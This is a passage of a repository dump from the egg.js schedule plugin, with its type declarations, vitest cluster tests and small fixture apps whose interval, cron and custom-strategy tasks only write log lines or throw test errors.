    "path": "plugins/schedule/src/lib/types.ts",
    "content": "import type { Context } from 'egg';\n\nimport type { EggScheduleConfig, CronOptions } from '../config/config.default.ts';\n\nexport type { CronOptions };\n\nexport type EggScheduleTaskOptions = Omit<EggScheduleConfig, 'directory'>;\nexport type EggScheduleTask = (ctx: Context, ...args: any[]) => Promise<void>;\n\n/**\n * Schedule handler interface\n */\nexport interface EggScheduleHandler {\n  schedule: EggScheduleTaskOptions;\n  task: EggScheduleTask;\n}\n\nexport interface EggScheduleItem {\n  schedule: EggScheduleTaskOptions;\n  scheduleQueryString: string;\n  task: EggScheduleTask;\n  key: string;\n}\n\nexport interface EggScheduleJobInfo {\n  id: string;\n  key: string;\n  workerId: number;\n  args: any[];\n  success?: boolean;\n  message?: string;\n  rt?: number;\n}\n"
  },
  {
    "path": "plugins/schedule/src/types.ts",
    "content": "import type { EggScheduleConfig } from './config/config.default.ts';\nimport type { Scheduler } from './lib/schedule.ts';\nimport type { ScheduleWorker } from './lib/schedule_worker.ts';\nimport type { BaseStrategy } from './lib/strategy/base.ts';\nimport type { TimerStrategy } from './lib/strategy/timer.ts';\n\ndeclare module 'egg' {\n  interface EggAppConfig {\n    /**\n     * Schedule Config\n     * @see https://eggjs.org/basics/schedule\n     */\n    schedule: EggScheduleConfig;\n  }\n\n  interface Agent {\n    /**\n     * Schedule Strategy\n     */\n    ScheduleStrategy: typeof BaseStrategy;\n\n    /**\n     * Timer Schedule Strategy\n     */\n    TimerScheduleStrategy: typeof TimerStrategy;\n\n    /**\n     * Schedule\n     */\n    schedule: Scheduler;\n  }\n\n  interface Application {\n    /**\n     * Schedule Worker\n     */\n    scheduleWorker: ScheduleWorker;\n    /**\n     * Run a schedule, only for unit test\n     */\n    runSchedule(schedulePath: string, ...args: any[]): Promise<any>;\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/test/all.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { contains, getFixtures, getLogContent, getScheduleLogContent } from './utils.ts';\n\n// TODO: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('cluster - all', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('all'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should support interval and cron', async () => {\n    await sleep(5000);\n\n    const log = getLogContent('all');\n    // console.log(log);\n    expect(contains(log, 'interval')).toBeGreaterThanOrEqual(2);\n    expect(contains(log, 'cron')).toBeGreaterThanOrEqual(2);\n\n    const scheduleLog = getScheduleLogContent('all');\n    expect(contains(scheduleLog, 'cron.js execute succeed')).toBeGreaterThanOrEqual(2);\n    expect(contains(scheduleLog, 'interval.js execute succeed')).toBeGreaterThanOrEqual(2);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/cronError.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\n// FIXME: flaky test on Window, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('test/cronError.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('cronError'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should schedule cron instruction invalid', async () => {\n    await sleep(1000);\n    app.expect('stderr', /parse cron instruction\\(invalid instruction\\) error/);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/customDirectory.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures, getLogContent, contains, getScheduleLogContent } from './utils.ts';\n\ndescribe('test/customDirectory.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('customDirectory'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    await sleep(5000);\n    const log = getLogContent('customDirectory');\n    // console.log(log);\n    expect(contains(log, ' interval')).toBe(1);\n    expect(contains(log, ' customDirectory')).toBe(1);\n\n    const scheduleLog = getScheduleLogContent('customDirectory');\n    expect(contains(scheduleLog, 'custom.js execute succeed')).toBe(1);\n    expect(contains(scheduleLog, 'interval.js execute succeed')).toBe(1);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/customType.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures, getLogContent, contains } from './utils.ts';\n\n// FIXME: flaky test on Window, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('test/customType.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('customType'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    await sleep(5000);\n    const log = getLogContent('customType');\n    // console.log(log);\n    expect(contains(log, 'cluster_log')).toBe(1);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/customTypeError.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures, getLogContent, contains } from './utils.ts';\n\n// FIXME: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('test/customTypeError.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('customTypeError'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    await sleep(process.env.CI ? 10000 : 5000);\n    const log = getLogContent('customTypeError');\n    // console.log(log);\n    expect(contains(log, 'cluster_log')).toBeGreaterThanOrEqual(1);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/customTypeParams.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures, contains, getLogContent } from './utils.ts';\n\n// FIXME: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('test/customTypeParams.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('customTypeParams'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should support custom schedule type', async () => {\n    await sleep(5000);\n    const log = getLogContent('customTypeParams');\n    // console.log(log);\n    expect(contains(log, \"cluster_log { foo: 'worker' }\")).toBe(1);\n    expect(contains(log, \"cluster_all_log { foo: 'all' }\")).toBe(2);\n    expect(contains(log, \"cluster_log_clz { foo: 'worker' }\")).toBe(1);\n    expect(contains(log, \"cluster_all_log_clz { foo: 'all' }\")).toBe(2);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/customTypePlugin.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures, getLogContent, contains } from './utils.ts';\n\n// TODO: flaky test on windows, Hook timed out in 20000ms\n// Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\ndescribe.skipIf(process.platform === 'win32' || process.version.startsWith('v20.'))(\n  'test/customTypePlugin.test.ts',\n  () => {\n    let app: MockApplication;\n    beforeAll(async () => {\n      app = mm.cluster({ baseDir: getFixtures('customTypePlugin'), workers: 2 });\n      // app.debug();\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should work', async () => {\n      await sleep(5000);\n      const log = getLogContent('customTypePlugin');\n      // console.log(log);\n      expect(contains(log, 'cluster_log')).toBe(1);\n    });\n  },\n);\n"
  },
  {
    "path": "plugins/schedule/test/customTypeWithoutStart.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures, getLogContent, contains } from './utils.ts';\n\n// TODO: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('test/customTypeWithoutStart.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({\n      baseDir: getFixtures('customTypeWithoutStart'),\n      workers: 2,\n    });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should work', async () => {\n    await sleep(5000);\n    const log = getLogContent('customTypeWithoutStart');\n    // console.log(log);\n    expect(contains(log, 'cluster_log')).toBeGreaterThanOrEqual(1);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/detect-error.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures, getScheduleLogContent, contains } from './utils.ts';\n\ndescribe('test/detect-error.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({\n      baseDir: getFixtures('detect-error'),\n      workers: 1,\n      cache: false,\n    });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should error', async () => {\n    await sleep(5000);\n    const scheduleLog = getScheduleLogContent('detect-error');\n    expect(contains(scheduleLog, 'suc.js execute succeed'), scheduleLog).toBe(1);\n    expect(contains(scheduleLog, /fail\\.js execute failed, used [\\d.]+ms. fail/), scheduleLog).toBe(1);\n    expect(contains(scheduleLog, /error\\.js execute failed, used [\\d.]+ms. Error: some err/), scheduleLog).toBe(1);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/dynamic.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { contains, getFixtures, getLogContent } from './utils.ts';\n\n// TODO: flaky test on windows, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('cluster', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('dynamic-cluster'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should support dynamic disable', async () => {\n    await sleep(5000);\n\n    const log = getLogContent('dynamic-cluster');\n    // console.log(log);\n    expect(contains(log, 'interval')).toBe(0);\n    expect(contains(log, 'cron')).toBeGreaterThanOrEqual(1);\n  });\n});\n\n// Error: [vitest-pool]: Unexpected call to process.send(). Make sure your test cases are not interfering with process's channel.\n// Received value: {\"action\":\"egg-schedule\",\"data\":{\"key\":\"~/egg/plugins/schedule/test/fixtures/dynamic-app/app/schedule/sub/cron.js\",\"id\":\"17588831550011801537483853751\",\"args\":[],\"success\":true,\"workerId\":20497,\"rt\":0},\"to\":\"agent\"}\ndescribe.skip('app', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({ baseDir: getFixtures('dynamic-app') });\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should support run disabled dynamic schedule', async () => {\n    await app.runSchedule('interval');\n    await sleep(1000);\n    const log = getLogContent('dynamic-app');\n    // console.log(log);\n    expect(contains(log, 'interval')).toBe(1);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/env.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { getFixtures, getCoreLogContent, contains, getScheduleLogContent } from './utils.ts';\n\ndescribe('test/env.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('env'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should support env list', async () => {\n    await sleep(5000);\n    const log = getCoreLogContent('env');\n    expect(log).toMatch(/ignore schedule .*local\\.js/);\n\n    const scheduleLog = getScheduleLogContent('env');\n    expect(contains(scheduleLog, 'undefined.js execute succeed')).toBeGreaterThanOrEqual(1);\n    expect(contains(scheduleLog, 'unittest.js execute succeed')).toBeGreaterThanOrEqual(1);\n    expect(contains(scheduleLog, 'local.js execute succeed')).toBe(0);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/executeError-task-generator.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/executeError-task-generator.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({\n      baseDir: getFixtures('executeError-task-generator'),\n      workers: 1,\n    });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should schedule execute task is generator function', async () => {\n    app.expect('stderr', /\"task\" generator function is not support, should use async function instead/);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/executeError.test.ts",
    "content": "import { setTimeout as sleep } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterAll, beforeAll, expect } from 'vitest';\n\nimport { contains, getFixtures, getScheduleLogContent } from './utils.ts';\n\n// FIXME: flaky test on Window, Hook timed out in 20000ms\ndescribe.skipIf(process.platform === 'win32')('test/executeError.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.cluster({ baseDir: getFixtures('executeError'), workers: 2 });\n    // app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should schedule execute error', async () => {\n    await sleep(5000);\n    const scheduleLog = getScheduleLogContent('executeError');\n    expect(contains(scheduleLog, 'interval.js execute failed')).toBe(2);\n  });\n});\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/all/app/schedule/interval.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'all',\n  interval: 4000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('interval');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/all/app/schedule/sub/cron.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'all',\n  cron: '*/5 * * * * *',\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('cron');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/all/package.json",
    "content": "{\n  \"name\": \"all\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/async/app/schedule/sub/cron.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  cron: '*/5 * * * * *',\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info(`method: ${ctx.method}, path: ${ctx.path}, query: ${JSON.stringify(ctx.query)}`);\n  const msg = await ctx.service.user.hello('busi');\n  ctx.logger.info(msg);\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/async/app/service/user.js",
    "content": "'use strict';\n\nconst Service = require('egg').Service;\n\nclass UserService extends Service {\n  async hello(name) {\n    return `hello ${name}`;\n  }\n}\n\nmodule.exports = UserService;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/async/package.json",
    "content": "{\n  \"name\": \"async\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/context/app/schedule/sub/cron.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  cron: '*/5 * * * * *',\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info(`method: ${ctx.method}, path: ${ctx.path}, query: ${JSON.stringify(ctx.query)}`);\n  const msg = await ctx.service.user.hello('busi');\n  ctx.logger.info(msg);\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/context/app/service/user.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class UserService extends app.Service {\n    async hello(name) {\n      return `hello ${name}`;\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/context/package.json",
    "content": "{\n  \"name\": \"context\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/cronError/app/schedule/interval.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 2000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('interval');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/cronError/app/schedule/sub/cron.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  cron: 'invalid instruction',\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('cron');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/cronError/package.json",
    "content": "{\n  \"name\": \"cronError\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/cronOptions/app/schedule/cron-options.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  cron: '*/2 * * * * *',\n  cronOptions: {\n    endDate: Date.now() + 4500,\n  },\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('cron-options');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/cronOptions/package.json",
    "content": "{\n  \"name\": \"cronOptions\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customDirectory/app/other-schedule/custom.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 4000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('customDirectory');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customDirectory/app/schedule/interval.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 4000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('interval');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customDirectory/config/config.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  schedule: {\n    directory: [path.join(__dirname, '../app/other-schedule')],\n  },\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customDirectory/config/plugin.js",
    "content": "'use strict';\n\nexports.logrotator = true;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customDirectory/package.json",
    "content": "{\n  \"name\": \"customDirectory\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customType/agent.js",
    "content": "module.exports = class Boot {\n  constructor(agent) {\n    class ClusterStrategy extends agent.ScheduleStrategy {\n      start() {\n        this.interval = setInterval(() => {\n          this.sendOne();\n        }, this.schedule.interval);\n      }\n    }\n    agent.schedule.use('cluster', ClusterStrategy);\n  }\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customType/app/schedule/cluster.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'cluster',\n  interval: 4000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('cluster_log');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customType/package.json",
    "content": "{\n  \"name\": \"customType\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeError/agent.js",
    "content": "module.exports = function (agent) {\n  class ClusterStrategy extends agent.ScheduleStrategy {\n    start() {\n      this.interval = setInterval(() => {\n        this.sendOne();\n      }, this.schedule.interval);\n    }\n  }\n  agent.schedule.use('cluster', ClusterStrategy);\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeError/app/schedule/cluster.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'cluster',\n  interval: 3000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('cluster_log');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeError/package.json",
    "content": "{\n  \"name\": \"customTypeError\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeParams/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  class ClusterStrategy extends agent.ScheduleStrategy {\n    start() {\n      this.interval = setInterval(() => {\n        this.sendOne({ foo: 'worker' });\n      }, this.schedule.interval);\n    }\n  }\n  agent.schedule.use('cluster', ClusterStrategy);\n\n  class ClusterAllStrategy extends agent.ScheduleStrategy {\n    start() {\n      this.interval = setInterval(() => {\n        this.sendAll({ foo: 'all' });\n      }, this.schedule.interval);\n    }\n  }\n  agent.schedule.use('cluster-all', ClusterAllStrategy);\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeParams/app/schedule/cluster-all-clz.js",
    "content": "'use strict';\n\nconst Subscription = require('egg').Subscription;\n\nclass Interval extends Subscription {\n  static get schedule() {\n    return {\n      type: 'cluster-all',\n      interval: 4000,\n    };\n  }\n\n  async subscribe(data) {\n    this.ctx.logger.info('cluster_all_log_clz', data);\n  }\n}\n\nmodule.exports = Interval;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeParams/app/schedule/cluster-all.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'cluster-all',\n  interval: 4000,\n};\n\nexports.task = async function (ctx, data) {\n  ctx.logger.info('cluster_all_log', data);\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeParams/app/schedule/cluster-clz.js",
    "content": "'use strict';\n\nconst Subscription = require('egg').Subscription;\n\nclass Interval extends Subscription {\n  static get schedule() {\n    return {\n      type: 'cluster',\n      interval: 4000,\n    };\n  }\n\n  async subscribe(data) {\n    this.ctx.logger.info('cluster_log_clz', data);\n  }\n}\n\nmodule.exports = Interval;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeParams/app/schedule/cluster.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'cluster',\n  interval: 4000,\n};\n\nexports.task = async function (ctx, data) {\n  ctx.logger.info('cluster_log', data);\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeParams/package.json",
    "content": "{\n  \"name\": \"customTypeParams\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypePlugin/app/schedule/cluster.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'cluster',\n  interval: 4000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('cluster_log');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypePlugin/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.custom = {\n  path: path.join(__dirname, '../lib/plugin'),\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypePlugin/lib/plugin/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  class ClusterStrategy extends agent.ScheduleStrategy {\n    start() {\n      this.interval = setInterval(() => {\n        this.sendOne();\n      }, this.schedule.interval);\n    }\n  }\n  agent.schedule.use('cluster', ClusterStrategy);\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypePlugin/lib/plugin/package.json",
    "content": "{\n  \"name\": \"custom-plugin\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypePlugin/package.json",
    "content": "{\n  \"name\": \"customTypePlugin\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeWithoutStart/agent.js",
    "content": "module.exports = function (agent) {\n  class ClusterStrategy extends agent.ScheduleStrategy {\n    constructor(...args) {\n      super(...args);\n      this.interval = setInterval(() => {\n        this.sendOne();\n      }, this.schedule.interval);\n    }\n  }\n  agent.schedule.use('cluster', ClusterStrategy);\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeWithoutStart/app/schedule/cluster.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'cluster',\n  interval: 4000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('cluster_log');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/customTypeWithoutStart/package.json",
    "content": "{\n  \"name\": \"customTypeWithoutStart\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/demo/config/config.default.ts",
    "content": "import '../../../../src/index.js';\nimport type { EggAppConfig } from 'egg';\n\nexport default {\n  schedule: {\n    directory: ['path/to/otherSchedule'],\n  },\n} as Partial<EggAppConfig>;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/demo/package.json",
    "content": "{\n  \"name\": \"demo\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/detect-error/app/schedule/error.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 40000,\n  immediate: true,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('error');\n  throw new Error('some err');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/detect-error/app/schedule/fail.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 40000,\n  immediate: true,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('fail');\n  return Promise.reject('fail');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/detect-error/app/schedule/suc.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 40000,\n  immediate: true,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('suc');\n  return true;\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/detect-error/package.json",
    "content": "{\n  \"name\": \"detect-error\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/dynamic-app/app/schedule/interval.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  exports.schedule = {\n    type: 'worker',\n    interval: 4000,\n    disable: app.config.disable,\n  };\n\n  exports.task = async function (ctx) {\n    ctx.logger.info('interval');\n  };\n\n  return exports;\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/dynamic-app/app/schedule/sub/cron.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  exports.schedule = {\n    type: 'worker',\n    cron: '*/5 * * * * *',\n  };\n\n  exports.task = async function (ctx) {\n    ctx.logger.info('cron');\n  };\n\n  return exports;\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/dynamic-app/config/config.default.js",
    "content": "'use strict';\n\nexports.disable = true;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/dynamic-app/package.json",
    "content": "{\n  \"name\": \"dynamic-app\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/dynamic-cluster/app/schedule/interval.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  exports.schedule = {\n    type: 'worker',\n    interval: 4000,\n    disable: app.config.disable,\n  };\n\n  exports.task = async function (ctx) {\n    ctx.logger.info('interval');\n  };\n\n  return exports;\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/dynamic-cluster/app/schedule/sub/cron.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  exports.schedule = {\n    type: 'worker',\n    cron: '*/5 * * * * *',\n  };\n\n  exports.task = async function (ctx) {\n    ctx.logger.info('cron');\n  };\n\n  return exports;\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/dynamic-cluster/config/config.default.js",
    "content": "'use strict';\n\nexports.disable = true;\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/dynamic-cluster/package.json",
    "content": "{\n  \"name\": \"dynamic-cluster\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/env/app/schedule/local.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 4000,\n  env: ['local'],\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('env local', ctx.app.config.env);\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/env/app/schedule/undefined.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 4000,\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('env undefined');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/env/app/schedule/unittest.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 4000,\n  env: ['unittest'],\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('env unittest');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/env/package.json",
    "content": "{\n  \"name\": \"env\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/executeError/app/schedule/interval.js",
    "content": "exports.schedule = {\n  type: 'worker',\n  interval: 2000,\n};\n\nexports.task = async function () {\n  throw new Error('interval error');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/executeError/package.json",
    "content": "{\n  \"name\": \"executeError\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/executeError-task-generator/app/schedule/interval.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  interval: 2000,\n};\n\nexports.task = function* () {\n  throw new Error('interval error');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/executeError-task-generator/package.json",
    "content": "{\n  \"name\": \"executeError\"\n}\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/immediate/app/schedule/immediate-cron.js",
    "content": "'use strict';\n\nexports.schedule = {\n  type: 'worker',\n  immediate: true,\n  cron: '*/5 * * * * *',\n};\n\nexports.task = async function (ctx) {\n  ctx.logger.info('immediate-cron');\n};\n"
  },
  {
    "path": "plugins/schedule/test/fixtures/immediate/app/schedule/immediate-interval.js",
